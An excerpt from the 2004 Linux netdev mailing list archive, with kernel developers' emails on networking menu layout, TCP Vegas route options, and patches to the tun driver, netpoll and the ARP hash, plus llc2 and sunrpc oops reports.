Sun, 14 Mar 2004 20:59:59 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2F4xoKO016397 for ; Sun, 14 Mar 2004 20:59:50 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2F4xXE32168; Sun, 14 Mar 2004 20:59:33 -0800 Date: Sun, 14 Mar 2004 20:54:38 -0800 From: "Randy.Dunlap" To: lkml Cc: niv@us.ibm.com, benh@kernel.crashing.org, davem@redhat.com, netdev@oss.sgi.com Subject: Re: [patch/RFC] networking menus Message-Id: <20040314205438.3d7bcd34.rddunlap@osdl.org> In-Reply-To: <20040314190724.1af1f11d.rddunlap@osdl.org> References: <20040314163327.53102f46.rddunlap@osdl.org> <4055122D.8030809@us.ibm.com> <20040314190724.1af1f11d.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3999 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 1434 Lines: 43 On Sun, 14 Mar 2004 19:07:24 -0800 "Randy.Dunlap" wrote: | On Sun, 14 Mar 2004 18:17:17 -0800 Nivedita Singhvi wrote: | | | Randy.Dunlap wrote: | | | | > This is just a first pass/RFC. It moves "Networking support" out of | | > the "Device Drivers" menu, which seems helpful to me. However, | | > ISTM that it should really just be the "Networking options" here | | > and not include Amateur Radio, IrDA, and Bluetooth support. | | > I.e., I think that those latter 3 should fall under Device Drivers. | | > Does that make sense to anyone else? | | | | Just a comment that those 3 subsystems are not just | | device drivers, they have non-trivial amount of code | | in the protocol stack under ../net/. So would moving | | them to device drivers be misleading in any way? | | | | I can see pulling out Networking support from under | | device drivers, though. | | Agreed, I looked again and those 3 should stay under | "Networking support." I'm still looking for other items | to move to make it all easier to navigate. Does it make sense to anyone besides me to move protocol-related modules like SLIP, PPP, and PLIP from Device Drivers/Network device(s) to "Networking support"? They feel more like protocols than device drivers to me.... | | > Does this need to be discussed on netdev (also)? | | | | Yes. :) | | OK. Thanks for cc-ing it. | | | thanks, | | Nivedita -- ~Randy From herbert@gondor.apana.org.au Mon Mar 15 03:37:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Mar 2004 03:37:14 -0800 (PST) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2FBb2KO002720 for ; Mon, 15 Mar 2004 03:37:06 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B2qOr-0002dY-00; Mon, 15 Mar 2004 22:36:53 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B2qOh-0005S9-00; Mon, 15 Mar 2004 22:36:43 +1100 From: Herbert Xu To: pekkas@netcore.fi (Pekka Savola), netdev@oss.sgi.com Subject: Re: v6-in-v4 IPsec and NAT traversal Organization: Core In-Reply-To: X-Newsgroups: apana.lists.os.linux.netdev User-Agent: tin/1.7.4-20031226 ("Taransay") (UNIX) (Linux/2.4.25-1-686-smp (i686)) Message-Id: Date: Mon, 15 Mar 2004 22:36:43 +1100 X-archive-position: 4000 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 786 Lines: 20 Pekka Savola wrote: > > Is this planned? Are there issues with "native" support why it would > not be feasible? http://www.spinics.net/lists/linux-net/msg08197.html > Avoiding double encapsulation would be IMHO really useful, and several > other implementations are already reported to allow this. There is no double encapsulation. Using an SIT tunnel inside a transport v4 SA is equivalent to a v6/v4 SA in terms of overhead. However, you do lose the ability to negotiate the selector but you can always use netfilter to fix it up. -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt From icampbell@arcom.com Mon Mar 15 08:48:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Mar 2004 08:48:50 -0800 (PST) Received: from webapps.arcom.com (webapps.arcom.com [194.200.159.168]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2FGmgKO014601 for ; Mon, 15 Mar 2004 08:48:43 -0800 Received: from linuxdev.icampbell.arcom.cc ([10.2.28.2]) by webapps.arcom.com with Microsoft SMTPSVC(6.0.3790.0); Mon, 15 Mar 2004 16:52:54 +0000 Subject: [PATCH] Do not include linux/irq.h from linux/netpoll.h From: Ian Campbell To: netdev@oss.sgi.com Cc: Linux Kernel Mailing List Content-Type: text/plain Organization: Arcom Control Systems Message-Id: <1079369568.19012.100.camel@icampbell-debian> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Mon, 15 Mar 2004 16:52:50 +0000 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 15 Mar 2004 16:52:54.0781 (UTC) FILETIME=[F61B22D0:01C40AAD] X-archive-position: 4001 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: icampbell@arcom.com Precedence: bulk X-list: netdev Content-Length: 1561 Lines: 44 Hi, (I hope netdev is the right place for netpoll stuff) It seems that the changeset at http://www.kernel.org/pub/linux/kernel/v2.6/testing/cset/cset-jgarzik@redhat.com|ChangeSet|20040302073919|27676.txt breaks the current BK tree build for ARM. The culprit would appear to be the addition of a #include to net/core/dev.c which in turn pulls in which (as Russell King notes in a comment therein) should not be included from generic code. >From what I can tell from the netpoll code used to call the drivers irq handler to simulate a poll but now it uses the poll_controller function, therefore I don't think the linux/irq.h needs to be included any longer. The patch below removes the include. I successfully built an ARM kernel with NETCONSOLE and NETPOLL enabled, although I was not able to test it since my network driver has no poll method. Cheers, Ian. Index: linux-2.6-bkpxa/include/linux/netpoll.h =================================================================== --- linux-2.6-bkpxa.orig/include/linux/netpoll.h 2004-03-15 15:03:30.000000000 +0000 +++ linux-2.6-bkpxa/include/linux/netpoll.h 2004-03-15 16:24:25.000000000 +0000 @@ -9,7 +9,6 @@ #include #include -#include #include struct netpoll; -- Ian Campbell, Senior Design Engineer Web: http://www.arcom.com Arcom, Clifton Road, Direct: +44 (0)1223 403 465 Cambridge CB1 7EA, United Kingdom Phone: +44 (0)1223 411 200 From shemminger@osdl.org Mon Mar 15 09:20:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Mar 2004 09:20:45 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2FHKdKO015817 for ; Mon, 15 Mar 2004 09:20:39 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2FHKIE13068; Mon, 15 Mar 2004 09:20:18 -0800 Date: Mon, 15 Mar 2004 09:20:18 -0800 From: Stephen Hemminger To: Pasi Sarolahti Cc: "David S. Miller" , netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: [RFC] Vegas and tcp parameters per route Message-Id: <20040315092018.1e843d83@dell_ss3.pdx.osdl.net> In-Reply-To: <1079160064.11606.15.camel@viivi> References: <20040312151729.25d9c696@dell_ss3.pdx.osdl.net> <1079160064.11606.15.camel@viivi> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4002 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1239 Lines: 27 On Sat, 13 Mar 2004 08:41:05 +0200 Pasi Sarolahti wrote: > Hi Stephen, > > On Sat, 2004-03-13 at 01:17, Stephen Hemminger wrote: > > This is the second more complete version of TCP Vegas that allows setting > > the options based on route. Reused the RTAX_FEATURE metric which got > > defined but never used, to provide the ability to select vegas, westwood, > > and/or frto per route. > > > > There is an modified version of iproute2 available at > > http://developer.osdl.org/shemminger/tcp/iproute2-exp.tar.bz2 > > With this it is possible to setup options per route with ip. > > ip route add to 10.0.0.1 features vegas/frto > > I would still like to keep the good old sysctl interface (well, at least > for tcp_frto), because I'd belive it is more familiar and easier to use > for many and not dependent of external tools. > > Would it be too complicated, if sysctl would give the global default, > from which one can deviate using RTAX_FEATURE? Maybe for frto it needs to stay, but sysctl's are more painful and complex than keeping the stuff in the routing info. Also, the external tools are part of every distro, except for a few embedded systems, the networking code depends on user tools already. From yoshfuji@linux-ipv6.org Mon Mar 15 09:36:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Mar 2004 09:37:03 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2FHawKO016454 for ; Mon, 15 Mar 2004 09:36:59 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id A2BC033CA5; Tue, 16 Mar 2004 02:38:32 +0900 (JST) Date: Tue, 16 Mar 2004 02:38:32 +0900 (JST) Message-Id: <20040316.023832.02446886.yoshfuji@linux-ipv6.org> To: shemminger@osdl.org Cc: davem@redhat.com, netdev@oss.sgi.com, linux-net@vger.kernel.org, yoshfuji@linux-ipv6.org Subject: Re: [RFC] Vegas and tcp parameters per route From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040312151729.25d9c696@dell_ss3.pdx.osdl.net> References: <20040312151729.25d9c696@dell_ss3.pdx.osdl.net> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4003 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 1039 Lines: 28 In article <20040312151729.25d9c696@dell_ss3.pdx.osdl.net> (at Fri, 12 Mar 2004 15:17:29 -0800), Stephen Hemminger says: > diff -urNp -X dontdiff linux-2.6/include/linux/sysctl.h tcp-vegas-2.6/include/linux/sysctl.h > --- linux-2.6/include/linux/sysctl.h 2004-03-09 16:24:23.000000000 -0800 > +++ tcp-vegas-2.6/include/linux/sysctl.h 2004-03-12 14:20:25.000000000 -0800 > @@ -317,11 +317,12 @@ enum > NET_IPV4_ICMP_RATELIMIT=89, > NET_IPV4_ICMP_RATEMASK=90, > NET_TCP_TW_REUSE=91, > - NET_TCP_FRTO=92, > - NET_TCP_LOW_LATENCY=93, > - NET_IPV4_IPFRAG_SECRET_INTERVAL=94, > - NET_TCP_WESTWOOD=95, > - NET_IPV4_IGMP_MAX_MSF=96, > + NET_TCP_LOW_LATENCY=92, > + NET_IPV4_IPFRAG_SECRET_INTERVAL=93, > + NET_IPV4_IGMP_MAX_MSF=94, > + NET_TCP_VEGAS_ALPHA=95, > + NET_TCP_VEGAS_BETA=96, > + NET_TCP_VEGAS_GAMMA=97, > }; > Please do not change values for NET_IPV4_IPFRAG_SECRET_INTERVAL etc. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From acme@conectiva.com.br Mon Mar 15 10:22:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Mar 2004 10:22:15 -0800 (PST) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2FIM4KO018111 for ; Mon, 15 Mar 2004 10:22:07 -0800 Received: from [200.138.40.212] (helo=oops.kerneljanitors.org) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1B2wlZ-0006Sh-00; Mon, 15 Mar 2004 15:24:45 -0300 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by oops.kerneljanitors.org (Postfix) with ESMTP id 643CE14003; Mon, 15 Mar 2004 14:20:20 -0300 (BRT) From: Arnaldo Carvalho de Melo Organization: Conectiva S/A To: Jochen Friedrich Subject: Re: [bug 2.6.4] llc2 oops Date: Mon, 15 Mar 2004 14:20:16 -0300 User-Agent: KMail/1.6.2 Cc: Linux Kernel , netdev@oss.sgi.com References: In-Reply-To: MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200403151420.19986.acme@conectiva.com.br> X-archive-position: 4004 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Content-Length: 981 Lines: 26 On Sunday 14 March 2004 13:49, Jochen Friedrich wrote: > Hi, > fffffffc005831d4 > > So, apparently, llc_ui_wait_for_conn() and llc_ui_wait_for_disc() are > buggy, as well... Oh well, yes, the code has lots of bugs as it is currently in the tree, I have it rewritten in my net-experimental tree, that has lots of other changes (mostly renames, moving buttloads of stuff from net/ipv4 to net/core, etc) to core code, tcp/ip v4/v6, sctp, etc, making most protocols use more and more common infrastructure, its solid, but I don't have time right now to work on chunk it to send to Dave, will do it, I hope, this month. But hey, if you are really interested in llc2 let me know and I'll send you my latest patches (IIRC they are at my www.kernel.org/pub/linux/kernel/people/acme area). FWIW I have patches for ncftp, vsftpd, openssh, etc making them use PF_LLC, mostly transparent, just not for vsftpd, that reivents the get{name,addr}info wheel for some reason 8) - Arnaldo From shemminger@osdl.org Mon Mar 15 10:23:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Mar 2004 10:23:31 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2FINMKO018372 for ; Mon, 15 Mar 2004 10:23:22 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2FIMME24347; Mon, 15 Mar 2004 10:22:22 -0800 Date: Mon, 15 Mar 2004 10:22:15 -0800 From: Stephen Hemminger To: Andrew Morton , "David S. Miller" Cc: Gerd Knorr , rutger@mail.com, netdev@oss.sgi.com, Maxim Krasnyansky , vtun@office.satix.net.sgi.com Subject: [PATCH] tun -- name fix Message-Id: <20040315102215.65c26745@dell_ss3.pdx.osdl.net> In-Reply-To: <20040313164325.070524df.akpm@osdl.org> References: <20040313164325.070524df.akpm@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4005 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 498 Lines: 19 This fixes both the devfs name and the /sys name issues. It ends up as /dev/net/tun and /sys/class/misc/tun looks correct. diff -Nru a/drivers/net/tun.c b/drivers/net/tun.c --- a/drivers/net/tun.c Mon Mar 15 10:01:52 2004 +++ b/drivers/net/tun.c Mon Mar 15 10:01:52 2004 @@ -602,8 +602,9 @@ static struct miscdevice tun_miscdev = { .minor = TUN_MINOR, - .name = "net/tun", - .fops = &tun_fops + .name = "tun", + .fops = &tun_fops, + .devfs_name = "net/tun", }; int __init tun_init(void) From shemminger@osdl.org Mon Mar 15 10:25:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Mar 2004 10:26:01 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2FIPrKO018820 for ; Mon, 15 Mar 2004 10:25:56 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2FIPdE24760; Mon, 15 Mar 2004 10:25:40 -0800 Date: Mon, 15 Mar 2004 10:25:39 -0800 From: Stephen Hemminger To: "David S. Miller" , Maxim Krasnyansky Cc: vtun@office.satix.net.sgi.com, netdev@oss.sgi.com Subject: [PATCH] tun - don't obscure error return from misc_register Message-Id: <20040315102539.0953af7e@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4006 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 753 Lines: 28 When Tun initialization fails it shouldn't obscure the error return, There are several reasons it could fail, and when diagnosing user problems the error code might provide more info. diff -Nru a/drivers/net/tun.c b/drivers/net/tun.c --- a/drivers/net/tun.c Mon Mar 15 10:13:37 2004 +++ b/drivers/net/tun.c Mon Mar 15 10:13:37 2004 @@ -609,15 +609,15 @@ int __init tun_init(void) { + int ret = 0; + printk(KERN_INFO "Universal TUN/TAP device driver %s " "(C)1999-2002 Maxim Krasnyansky\n", TUN_VER); - if (misc_register(&tun_miscdev)) { + ret = misc_register(&tun_miscdev); + if (ret) printk(KERN_ERR "tun: Can't register misc device %d\n", TUN_MINOR); - return -EIO; - } - - return 0; + return ret; } void tun_cleanup(void) From shemminger@osdl.org Mon Mar 15 10:28:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Mar 2004 10:28:33 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2FISQKO019194 for ; Mon, 15 Mar 2004 10:28:27 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2FISAE25138; Mon, 15 Mar 2004 10:28:10 -0800 Date: Mon, 15 Mar 2004 10:28:10 -0800 From: Stephen Hemminger To: "David S. Miller" , Maxim Krasnyansky Cc: vtun@office.satix.net.sgi.com, netdev@oss.sgi.com Subject: [PATCH] tun Message-Id: <20040315102810.2111a5d7@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4007 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3045 Lines: 115 Tun verifies the user address before doing memcpy_from/toiovec. There are two problems with this strategy. First, it is possible on an SMP machine to construct cases where a page is unmmapped between the verify and the copy, and it is also faster to do the verification only once. diff -Nru a/drivers/net/tun.c b/drivers/net/tun.c --- a/drivers/net/tun.c Mon Mar 15 10:16:30 2004 +++ b/drivers/net/tun.c Mon Mar 15 10:16:30 2004 @@ -169,7 +169,7 @@ return mask; } -/* Get packet from user space buffer(already verified) */ +/* Get packet from user space buffer */ static __inline__ ssize_t tun_get_user(struct tun_struct *tun, struct iovec *iv, size_t count) { struct tun_pi pi = { 0, __constant_htons(ETH_P_IP) }; @@ -180,7 +180,8 @@ if ((len -= sizeof(pi)) > len) return -EINVAL; - memcpy_fromiovec((void *)&pi, iv, sizeof(pi)); + if(memcpy_fromiovec((void *)&pi, iv, sizeof(pi))) + return -EFAULT; } if (!(skb = alloc_skb(len + 2, GFP_KERNEL))) { @@ -189,7 +190,8 @@ } skb_reserve(skb, 2); - memcpy_fromiovec(skb_put(skb, len), iv, len); + if (memcpy_fromiovec(skb_put(skb, len), iv, len)) + return -EFAULT; skb->dev = tun->dev; switch (tun->flags & TUN_TYPE_MASK) { @@ -213,26 +215,29 @@ return count; } +static inline size_t iov_total(const struct iovec *iv, unsigned long count) +{ + unsigned long i; + size_t len; + + for (i = 0, len = 0; i < count; i++) + len += iv[i].iov_len; + + return len; +} + /* Writev */ static ssize_t tun_chr_writev(struct file * file, const struct iovec *iv, unsigned long count, loff_t *pos) { struct tun_struct *tun = file->private_data; - unsigned long i; - size_t len; if (!tun) return -EBADFD; DBG(KERN_INFO "%s: tun_chr_write %ld\n", tun->dev->name, count); - for (i = 0, len = 0; i < count; i++) { - if (verify_area(VERIFY_READ, iv[i].iov_base, iv[i].iov_len)) - return -EFAULT; - len += iv[i].iov_len; - } - - return tun_get_user(tun, (struct iovec *) iv, len); + return tun_get_user(tun, (struct iovec *) iv, iov_total(iv, count)); } /* Write */ @@ -243,7 +248,7 @@ return tun_chr_writev(file, &iv, 1, pos); } -/* Put packet to the user space buffer (already verified) */ +/* Put packet to the user space buffer */ static __inline__ ssize_t tun_put_user(struct tun_struct *tun, struct sk_buff *skb, struct iovec *iv, int len) @@ -260,7 +265,8 @@ pi.flags |= TUN_PKT_STRIP; } - memcpy_toiovec(iv, (void *) &pi, sizeof(pi)); + if (memcpy_toiovec(iv, (void *) &pi, sizeof(pi))) + return -EFAULT; total += sizeof(pi); } @@ -283,18 +289,13 @@ DECLARE_WAITQUEUE(wait, current); struct sk_buff *skb; ssize_t len, ret = 0; - unsigned long i; if (!tun) return -EBADFD; DBG(KERN_INFO "%s: tun_chr_read\n", tun->dev->name); - for (i = 0, len = 0; i < count; i++) { - if (verify_area(VERIFY_WRITE, iv[i].iov_base, iv[i].iov_len)) - return -EFAULT; - len += iv[i].iov_len; - } + len = iov_total(iv, count); if (len < 0) return -EINVAL; From timg@mailgate.tpi.com Mon Mar 15 10:32:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Mar 2004 10:33:00 -0800 (PST) Received: from mailgate.tpi.com (ftp.tpi.com [198.107.51.136]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2FIWZKO019662 for ; Mon, 15 Mar 2004 10:32:36 -0800 Received: from tim (TIM.tpi.com [10.0.2.3]) by mailgate.tpi.com (Post.Office MTA v3.5.3 release 223 ID# 0-60229U100L100S0V35) with ESMTP id com; Mon, 15 Mar 2004 10:32:32 -0800 Content-Type: text/plain; charset="us-ascii" From: Tim Gardner Reply-To: timg@tpi.com Organization: TriplePoint, Inc. To: netdev@oss.sgi.com Subject: [PATCH] IPv4 ARP hash algorithm has poor distribution Date: Mon, 15 Mar 2004 11:32:31 -0700 User-Agent: KMail/1.4.3 Cc: "linux-net" MIME-Version: 1.0 Message-Id: <200403151132.31368.timg@tpi.com> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2FIWZKO019662 X-archive-position: 4008 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: timg@tpi.com Precedence: bulk X-list: netdev Content-Length: 1076 Lines: 38 The current IPv4 ARP hash algorithm does not generate evenly distributed hash indices. Included is a patch to fix the hash algorithm such that it will generate an even distribution of hash indices within a single subnet. It also uses the network bits of the address to attempt to avoid collisions with other subnets. On my my router with 991 ARP entries, this algorithm utilized 669 out of 1024 hash buckets. The old algorithm utilized 169. rtg <-Snip--> diff -r -u --new-file linux-2.4.bk/net/ipv4/arp.c linux-2.4.bk-arp-hash/net/ipv4/arp.c --- linux-2.4.bk/net/ipv4/arp.c 2004-03-15 11:24:07.000000000 -0700 +++ linux-2.4.bk-arp-hash/net/ipv4/arp.c 2004-03-15 10:15:48.000000000 -0700 @@ -215,11 +215,9 @@ { u32 hash_val; - hash_val = *(u32*)pkey; + hash_val = ntohl(*(u32*)pkey); hash_val ^= (hash_val>>16); - hash_val ^= hash_val>>8; - hash_val ^= hash_val>>3; - hash_val = (hash_val^dev->ifindex)&(arp_tbl.num_hash_buckets-1); + hash_val &= (arp_tbl.num_hash_buckets-1); return hash_val; } -- Tim Gardner - timg@tpi.com www.tpi.com 406-443-5357 From davej@redhat.com Mon Mar 15 11:47:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Mar 2004 11:47:16 -0800 (PST) Received: from delerium.codemonkey.org.uk (delerium.kernelslacker.org [81.187.208.145]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2FJl5KO026623 for ; Mon, 15 Mar 2004 11:47:06 -0800 Received: from delerium.codemonkey.org.uk (localhost.localdomain [127.0.0.1]) by delerium.codemonkey.org.uk (8.12.10/8.12.10) with ESMTP id i2FJkh3v017469; Mon, 15 Mar 2004 19:46:43 GMT Received: (from davej@localhost) by delerium.codemonkey.org.uk (8.12.10/8.12.10/Submit) id i2FJkgSN017467; Mon, 15 Mar 2004 19:46:42 GMT X-Authentication-Warning: delerium.codemonkey.org.uk: davej set sender to davej@redhat.com using -f Date: Mon, 15 Mar 2004 19:46:42 +0000 From: Dave Jones To: Linux Kernel Cc: netdev@oss.sgi.com Subject: 2.6.4 sunrpc oops. Message-ID: <20040315194642.GB19555@redhat.com> Mail-Followup-To: Dave Jones , Linux Kernel , netdev@oss.sgi.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-archive-position: 4009 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davej@redhat.com Precedence: bulk X-list: netdev Content-Length: 1304 Lines: 41 To repeat.. modprobe auth_rpcgss rmmod auth_rpcgss rmmod sunrpc *bang* Seems to survive rmmod sunrpc usually, so it's the auth_rpcgcc module leaving something around long after its dead perhaps? Dave Unable to handle kernel paging request at virtual address c7890674 printing eip: c78ffabf *pde = 06f3f067 *pte = 00000000 Oops: 0000 [#1] SMP CPU: 0 EIP: 0060:[] Not tainted EFLAGS: 00010283 (2.6.4-prep) EIP is at cache_clean+0xbb/0x298 [sunrpc] eax: 4056078d ebx: c7912020 ecx: c789066c edx: c7890640 esi: c031bbd8 edi: 00000000 ebp: c33e5000 esp: c33e5f40 ds: 007b es: 007b ss: 0068 Process rmmod (pid: 1682, threadinfo=c33e5000 task=c5ade670) Stack: c7912020 c7912020 c7912020 c031bbd8 00000000 c78ffcf4 c78ff7a9 000000cc 000000cc c7912880 c7902e09 c01376cc 00000000 726e7573 c3006370 c3d7a5ac b8005000 c014f9e1 c359cc98 b8006000 c014fe8f c3d7a5e8 c35f2104 c6c673e4 Call Trace: [] cache_flush+0x1a/0x3b [sunrpc] [] cache_unregister+0xa/0x179 [sunrpc] [] cleanup_sunrpc+0x14/0x5e [sunrpc] [] sys_delete_module+0x115/0x157 [] unmap_vma_list+0xe/0x17 [] do_munmap+0x17e/0x18a [] syscall_call+0x7/0xb Code: 39 42 34 76 0a 8b 41 d4 a3 84 33 91 c7 eb 12 c7 05 84 33 91 From scott.feldman@intel.com Mon Mar 15 12:17:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Mar 2004 12:17:50 -0800 (PST) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2FKHhKO029030 for ; Mon, 15 Mar 2004 12:17:45 -0800 Received: from petasus-pilot.fm.intel.com 